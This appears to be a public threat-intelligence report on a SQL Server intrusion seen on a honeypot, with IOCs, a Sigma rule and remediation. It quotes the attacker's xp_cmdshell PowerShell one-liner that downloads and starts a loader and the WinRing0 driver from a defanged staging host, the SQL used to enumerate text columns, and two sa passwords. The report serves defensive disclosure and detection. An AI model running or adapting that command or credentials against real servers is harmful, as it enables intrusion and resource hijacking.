sql-server · xp-cmdshell · cryptojacking · byovd · winring0 · data-discovery · valid-accounts
Vietnam852: Mapping Every Text Column Before the Driver Fetch
This is a SQL Server intrusion chain in which one source presented sa with only two passwords across 37 recorded login attempts between 15 and 25 November 2026 on TCP/1433; whether it held the pair in advance or guessed it is not established.
By Davis Zheng·
TLP:CLEAR. Cleared for public release. Captured by the Kinryū Labs honeypot sensor network. Indicators below are defanged.
Executive summary
- 261SQL statements from one address
- 77+column-enumeration statements, at least
- 2sa passwords ever presented
- 21 of 94engines flagging the payload URL
A single South Korean address, 61.36.94[.]72 on LG DACOM, made 37 recorded login attempts on TCP/1433 between 15 and 25 November 2026, presenting the username sa with two passwords, Valid Accounts, T1078 in MITRE ATT&CK. It then ran 261 SQL statements against the server, at least 77 of them column enumerations, 28 of those restricted to the string types varchar, nvarchar, char, nchar, text and ntext. We assess this as a financially motivated cryptomining operator working exposed database servers, at low confidence. The source presented the first credential at the TDS login and the second three minutes later:
sa / ASD@123
sa / kimjunhyb
The password kimjunhyb is not unique to this source. The same sa password appears from one other address, in a different network and a different /24, with logins on 23, 24 and 25 November 2026, and at least eight login attempts across the two addresses carry it. The credential belongs to a list in use by more than one host. The source reused each of its two passwords across sessions rather than working a dictionary. A password in the form of a person’s name is characteristic of a credential list drawn from previously collected hosts.
The first of the ten command-execution attempts came after the initial mapping, through a PowerShell one-liner under xp_cmdshell that would fetch MicrosoftEdgeUpdate.exe and WinRing0x64.sys into C:\Users\Public. WinRing0 is the signed OpenLibSys hardware-access driver tracked as CVE-2020-14979, which XMRig loads to tune model-specific registers, and public vendor reporting ties that pairing to cryptomining operations, Resource Hijacking, T1496.001, though the mining payload itself was not observed. 21 engines flag the first URL and 20 flag the second, both as serving a Windows executable.
Key judgments
- Only two passwords were presented for sa across the 37 recorded login attempts, which is not dictionary behaviour; where the pair came from is not established. Across the 37 recorded login attempts between 15 and 25 November 2026 it presented one username and exactly two passwords, ASD@123 and kimjunhyb. A password that reads as a person's name is characteristic of a credential list drawn from previously collected hosts rather than of a generated wordlist. The sa password kimjunhyb is not unique to this source. Moderate confidence.
- The operator's priority is data discovery: the first execution attempt came only after the initial mapping, and discovery continued alongside and after it. Of 261 statements, at least 77 enumerate columns, 28 of them restricted to varchar, nvarchar, char, nchar, text and ntext types, and that count stands before the database inventory, the per-database USE statements and the sysadmin role check are added; the phase ran on 20 and 21 November. Moderate confidence.
- The second stage is a loader fetched alongside the WinRing0 vulnerable driver, a pairing public reporting ties to Monero mining; the mining payload itself was not observed. The PowerShell one-liner fetches MicrosoftEdgeUpdate.exe and WinRing0x64.sys to C:\Users\Public and starts the executable, and both URLs are flagged by 21 and 20 engines respectively and tagged as serving a Windows executable. WinRing0 is the signed OpenLibSys driver tracked as CVE-2020-14979 that XMRig loads to tune model-specific registers, a pairing public vendor reporting ties to cryptomining operations. Moderate confidence.
- The command-execution tooling seen from other sources on the same port is a different toolkit, not this operator's. Seven other addresses in the window issued the stored-procedure drop-and-create sequence for a procedure named ExecCommand together with CLR-enablement attempts, six statements each, and this source issued none of those statements. Its own execution route is xp_cmdshell only. Moderate confidence.
Timeline
- 2026-11-15 17:36 UTCEarliest activity from the source in the evidence
- 2026-11-20 11:31 UTCFirst TDS session of the recorded run; sa presented with ASD@123, then kimjunhyb three minutes later
- 2026-11-20 15:31 UTCDiscovery phase begins: database inventory and per-database switching
- 2026-11-20 19:31 UTCFirst of ten xp_cmdshell attempts carrying the PowerShell fetch of the loader and the WinRing0 driver
- 2026-11-21 13:55 UTCLargest discovery bursts, 46 statements in about four seconds each, including the string-column enumeration
- 2026-11-25 13:48 UTCLast session in the evidence
The session, in order
2026-11-20 11:31:44 sa / ASD@123
2026-11-20 11:34:37 sa / kimjunhyb
2026-11-20 19:31:14 EXEC xp_cmdshell 'powershell -NoProfile -WindowStyle Hidden -Command $w=New-Object Net.[...];$w.DownloadFile(''hxxp://ftp.vietnam852[.]com:88/test/MicrosoftEdgeUpdate.exe'',''C:\Users\Public\MicrosoftEdgeUpdate.exe'');$w.DownloadFile(''hxxp://ftp.vietnam852[.]com:88/test/WinRing0x64.sys'',''C:\Users\Public\WinRing0x64.sys'');Start-Process ''C:\Users\Public\MicrosoftEdgeUpdate.exe'''
2026-11-20 19:31:18 EXEC xp_cmdshell 'powershell -NoProfile -WindowStyle Hidden -Command $w=New-Object Net.[...];$w.DownloadFile(''hxxp://ftp.vietnam852[.]com:88/test/MicrosoftEdgeUpdate.exe'',''C:\Users\Public\MicrosoftEdgeUpdate.exe'');$w.DownloadFile(''hxxp://ftp.vietnam852[.]com:88/test/WinRing0x64.sys'',''C:\Users\Public\WinRing0x64.sys'');Start-Process ''C:\Users\Public\MicrosoftEdgeUpdate.exe'''
2026-11-21 13:55:53 SELECT TOP 40 s.name, t.name, c.name, ty.name FROM sys.columns c JOIN sys.tables t ON c.object_id=t.object_id JOIN sys.schemas s ON t.schema_id=s.schema_id JOIN sys.types ty ON c.user_type_id=ty.user_type_id WHERE ty.name IN ('varchar','nvarchar','char','nchar','text','ntext')
The fixed statement sequence
On every visit the source runs the same sequence in the same order, a fingerprint of TCP/1433, a TDS pre-login, the sa login, a session-option preamble ending SET TEXTSIZE 2147483647, raised for retrieving long text values, then BEGIN TRAN, SELECT name FROM sys.databases, SELECT TOP 5 name FROM sys.databases WHERE database_id>4 AND state=0, a USE [...] for each database including master, model, msdb and tempdb, and a sysadmin role check, which is System Information Discovery, T1082. The source then replayed the string-column enumeration, in a discovery phase that ran on 20 and 21 November:
SELECT TOP 40 s.name, t.name, c.name, ty.name FROM sys.columns c
JOIN sys.tables t ON c.object_id=t.object_id
JOIN sys.schemas s ON t.schema_id=s.schema_id
JOIN sys.types ty ON c.user_type_id=ty.user_type_id
WHERE ty.name IN ('varchar','nvarchar','char','nchar','text','ntext')
The source also ran the same statement without the type filter 28 times, and ran SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS 21 times. These counts come from the recorded statements for 61.36.94[.]72 between 15 and 25 November 2026. The 77 column enumerations do not include the database inventory, the per-database USE statements or the sysadmin role check. Activity outside those dates was not measured, and each count is a floor. This account covers those dates only, and whether the activity continues after 25 November 2026 is not known.
Session tempo
The source ran as a script, producing 461 actions in 27 bursts and 66 seconds of total active time, with a median gap of 93 ms inside a burst and 7.0 actions per active second. A 46-statement sweep of every database on the server completes in about four seconds, and the largest pauses between bursts are 2.8 days and 25.6 hours.
The loader and the vulnerable driver
The source runs its commands through PowerShell under xp_cmdshell, Command and Scripting Interpreter: PowerShell, T1059.001, and we have elided the client-object construction from the one-liner below:
EXEC xp_cmdshell 'powershell -NoProfile -WindowStyle Hidden -Command
$w=New-Object Net.[...];
$w.DownloadFile(''hxxp://ftp.vietnam852[.]com:88/test/MicrosoftEdgeUpdate.exe'',''C:\Users\Public\MicrosoftEdgeUpdate.exe'');
$w.DownloadFile(''hxxp://ftp.vietnam852[.]com:88/test/WinRing0x64.sys'',''C:\Users\Public\WinRing0x64.sys'');
Start-Process ''C:\Users\Public\MicrosoftEdgeUpdate.exe'''
A sample carrying the same file name, tied to the same staging host, fetches further executables from that host over FTP, drops files that engines flag and registers a scheduled task. On its recorded behaviour MicrosoftEdgeUpdate.exe is a first stage that fetches further files rather than an XMRig build, where a first stage, or loader, is a program that fetches further executables from the same staging host. The file itself was not obtained, and what that URL serves now is not established; the latest public submission for it is dated 23 November 2026.
In VirusTotal’s records 61.36.94[.]72 resolved server.vietnam852[.]com on 18 November 2026, a hostname 18 of 92 engines call malicious, while 61.36.94[.]72 itself draws 1 of 92. Three files communicate with it. Two are Win32 executables labelled trojan.farfli/fakems, flagged at 57 of 75 and 53 of 75 and seen as CSRSS.Exe; the third, at 55 of 74, is labelled trojan.tiny/leonem and was submitted under the names msedgeupdatecore.exe and stage2_ftp_down.exe, last seen 25 November 2026.
Differences from the FortiGuard account
FortiGuard Labs published an account of this activity on 12 November 2026, describing malware that scans TCP/1433, brute-forces sa and admin from a list of more than 2,700 passwords, then runs batched T-SQL that enables xp_cmdshell, downloads executables into C:\Users\Public, renames and runs them, and registers a daily scheduled task. That account names ftp.vietnam852[.]com among the staging hosts and identifies MicrosoftEdgeUpdate.exe as a Monero miner alongside a Gh0st remote-access variant. The sessions reported here ran after that publication, and they differ from that account on the access method, since this source worked only two passwords. These sessions also add steps that account does not describe, the string-column enumeration across every database ahead of any execution attempt, the transaction wrapper around that work, the WinRing0x64.sys fetch beside the executable, and the password kimjunhyb.
Tradecraft
The source ran its data discovery ahead of command execution. It listed the databases, then switched into each one, then ran the sysadmin role check, then enumerated string columns, and only afterwards attempted the fetch. Discovery continued alongside and after the first execution attempt, including the largest sweeps on 21 November. All ten attempts carried the same fetch command and none carried a data-extraction statement. What the operator read from those columns is not known.
The source opens every working set with BEGIN TRAN, closes it with ROLLBACK TRAN and leaves the schema as it found it. The source writes the payload to C:\Users\Public, a world-writable directory, under the name of the Edge updater, a name an administrator is unlikely to examine. Those precautions point to an operator who expects someone to look at the server afterwards.
Seven other addresses on the same port in the same window issued the drop-and-create sequence for a stored procedure named ExecCommand together with CLR-enablement attempts, six statements each. This source issued none of those statements and used xp_cmdshell exclusively.
The operator prepared the staging infrastructure before this activity and kept using it after it was publicly flagged. The domain was registered through NameCheap on 25 September 2026 and serves on port 88 under an ftp. hostname. The hostname presents the fetch as file transfer. We assess that the operator does not track its own exposure. Our earlier findings of 17 and 23 October 2026 already record ftp.vietnam852[.]com as a staging domain, and the flagged URLs were still in the one-liner through these sessions.
How we tested it
The column enumerations, filtered to the six string types and repeated across every database, rule out a miner crew whose enumeration is incidental fingerprinting. This source issued none of the ExecCommand and CLR-enablement statements and used xp_cmdshell only. It does not share the other addresses’ command-execution tooling. The statement tempo rules out a person at a keyboard. Where the credential pair came from is not settled, and a sighting of the same pair against other exposed servers, or a public credential dump listing it, would decide that question.
| Explanation | Test | Result | Verdict |
|---|---|---|---|
| The source brute-forced sa rather than arriving with credentials already in hand | Count the distinct usernames and passwords presented across all login attempts from the address and look for spray behaviour | 37 attempts, one username and exactly two passwords (ASD@123 and kimjunhyb), each password reused across sessions, which is a two-item list rather than a dictionary; no external record confirms where the pair came from, so a sighting of the same pair against other exposed servers, or a public credential dump listing it, would settle the question | Inconclusive |
| This is a miner crew only, and the enumeration is incidental fingerprinting | Classify the statements: how many are discovery, and whether the discovery is restricted to data-bearing column types rather than to server configuration | At least 77 of 261 statements enumerate columns, before the database inventory, the per-database USE statements and the sysadmin role check are counted; the variant that filters explicitly on varchar, nvarchar, char, nchar, text and ntext ran 28 times, and the session preamble raises TEXTSIZE to 2147483647 for retrieving long text values | Refuted |
| The command-execution tooling is shared with the other addresses working this port | Full-text pivot on the ExecCommand procedure name across the window and compare the source lists | Seven addresses issue the ExecCommand drop-and-create sequence with CLR-enablement attempts, six statements each; the subject issues none of them and uses xp_cmdshell exclusively | Refuted |
| A person at a keyboard drove the sessions | Tempo arithmetic over the full run: burst structure, inter-statement gaps and active time | 461 actions across 27 bursts and 66 seconds of total active time, median gap inside a burst 93 ms, 7.0 actions per active second, with 46-statement sweeps completing in about four seconds | Refuted |
Defensive actions
If you run SQL Server with sa enabled and reachable from the internet, disable xp_cmdshell and rotate sa now, and hunt for sqlservr.exe spawning PowerShell with DownloadFile and for WinRing0x64.sys staged in C:\Users\Public. Two toolkits worked this port during the window. Blocking only the CLR route, or only xp_cmdshell, leaves the other open.
By the numbers
Figures computed from the evidence and from enrichment lookups.
- Tempo, measured on
61.36.94[.]72, events on 25 November. 28 requests in 53 s across 3 bursts: 4.1 s active, 49 s idle. Median gap inside a burst 100 ms (min 0 ms, max 926 ms over 25 gaps). Verdict scripted: the median gap between requests inside a burst is under 1.0 s. - VirusTotal relationships. The address sits with LG DACOM Corporation in KR. 1/92 engines call the address itself malicious or suspicious. The address has resolved 1 hostname in the records returned; the most recent is server.vietnam852[.]com on 2026-11-18.
Indicators of compromise
The 4 network indicators below are defanged; paths are given as observed.
Network
| Indicator | Context |
|---|---|
61.36.94[.]72 | source of the sa login sessions, LG DACOM AS3786 South Korea, no other address in this /24 appeared in the evidence, 1 of 92 engines flags it |
ftp.vietnam852[.]com | payload staging host named in the PowerShell command, registered 25 September 2026 through NameCheap, 19 of 92 engines flag it |
hxxp://ftp.vietnam852[.]com:88/test/MicrosoftEdgeUpdate.exe | first file fetched, name impersonates the Edge updater; 21 of 94 engines flag the URL, tagged as serving a Windows executable, submissions to 23 November 2026 |
hxxp://ftp.vietnam852[.]com:88/test/WinRing0x64.sys | second file fetched, the signed OpenLibSys hardware-access driver used by XMRig; 20 of 94 engines flag the URL, first submitted late October 2026 |
Host artefacts
| Indicator | Context |
|---|---|
C:\Users\Public\MicrosoftEdgeUpdate.exe | staging path written by the PowerShell command, alongside C:\Users\Public\WinRing0x64.sys |
kimjunhyb | distinctive sa password presented by this source; a hunting marker for the same credential list elsewhere |
[dbo].[ExecCommand] | command-execution stored procedure created and dropped by a separate cohort of seven addresses on the same port in the same window |
Detection
Sigma
SQL Server spawning PowerShell with a file download (candidate).
title: SQL Server spawning PowerShell with a file download
status: experimental
description: Detects the xp_cmdshell to PowerShell delivery route, where the database service process starts PowerShell to fetch an executable or driver.
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\sqlservr.exe'
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- '\cmd.exe'
selection_download:
CommandLine|contains:
- 'DownloadFile'
- 'DownloadString'
- 'certutil -urlcache'
selection_driver:
CommandLine|contains:
- 'WinRing0x64.sys'
- 'WinRing0.sys'
condition: (selection_parent and selection_download) or selection_driver
falsepositives:
- Database maintenance jobs that legitimately call out to a package feed
- Hardware monitoring and fan-control utilities, which ship the WinRing0 driver inside their own installers
level: high
Detection logic
- String-column enumeration across every database from one login (behavioural, candidate). Alert when one login, in a session or a short series, runs a database inventory (sys.databases or INFORMATION_SCHEMA), switches into more than three databases including the system databases, checks its own sysadmin role, then enumerates sys.columns or INFORMATION_SCHEMA.COLUMNS with a filter restricted to character types (varchar, nvarchar, char, nchar, text, ntext). Application code reads columns it already knows; an inventory of every text column in every database is reconnaissance for data. Requires statement-level auditing or Extended Events, often off by default, and transaction wrapping with ROLLBACK means the schema looks untouched afterwards.
Remediation
- Disable xp_cmdshell, and if a job needs it, run that job under a dedicated account rather than sa.
- Rotate the sa password and disable the account where SQL authentication is not required; treat ASD@123 and kimjunhyb as burned.
- Restrict TCP/1433 to known application hosts.
- Block the WinRing0 driver through Microsoft’s vulnerable-driver blocklist and alert on WinRing0x64.sys appearing outside a hardware-monitoring installation.
- Check C:\Users\Public for MicrosoftEdgeUpdate.exe and WinRing0x64.sys on any server whose sa account may have been reachable.
MITRE ATT&CK mapping
| Tactic | Technique | Observed |
|---|---|---|
| Initial access | T1078 Valid Accounts | Only two passwords were ever presented for sa across the 37 recorded login attempts, with no dictionary behaviour. |
| Persistence | T1505.001 Server Software Component: SQL Stored Procedures | Command execution attempted through the built-in xp_cmdshell extended procedure; a neighbouring cohort instead created and dropped a procedure named ExecCommand. |
| Execution | T1059.001 Command and Scripting Interpreter: PowerShell | A single hidden-window PowerShell one-liner downloads two files and starts the executable. |
| Discovery | T1082 System Information Discovery | Database inventory, per-database switching and column enumeration restricted to string data types; at least 77 column-enumeration statements, before the inventory and the role check are counted. |
| Impact | T1496.001 Resource Hijacking: Compute Hijacking | The fetched pair is a masquerading executable plus the WinRing0 driver that XMRig loads for model-specific register tuning. |
References
- Elastic Security Labs: Fake Installers to Monero, a multi-tool mining operation (WinRing0x64.sys deployment)
- SigmaHQ rule: Vulnerable WinRing0 Driver Load
- Microsoft documentation: xp_cmdshell (Transact-SQL)
- Fortinet (FortiGuard Labs) November 12, 2026: Fortinet’s write-up on T-SQL/xp_cmdshell abuse of compromised MS SQL Servers names vietnam852[.]com (site./ftp./server. subdomains) as the c
Methodology and analyst notes
The reading rests on the 37 recorded login attempts from one address between 15 and 25 November 2026, and on the statements that address issued. The two fetched files were not obtained during this hunt, so the second stage is identified from the file names, the driver’s known role and the public records for both URLs rather than from the binaries. Whether the sa passwords are valid anywhere is not known. Any data the operator would have read is not known: the discovery statements map where text lives and no statement selected rows out of an application table.
Questions or corrections: contact@kinryu.sh.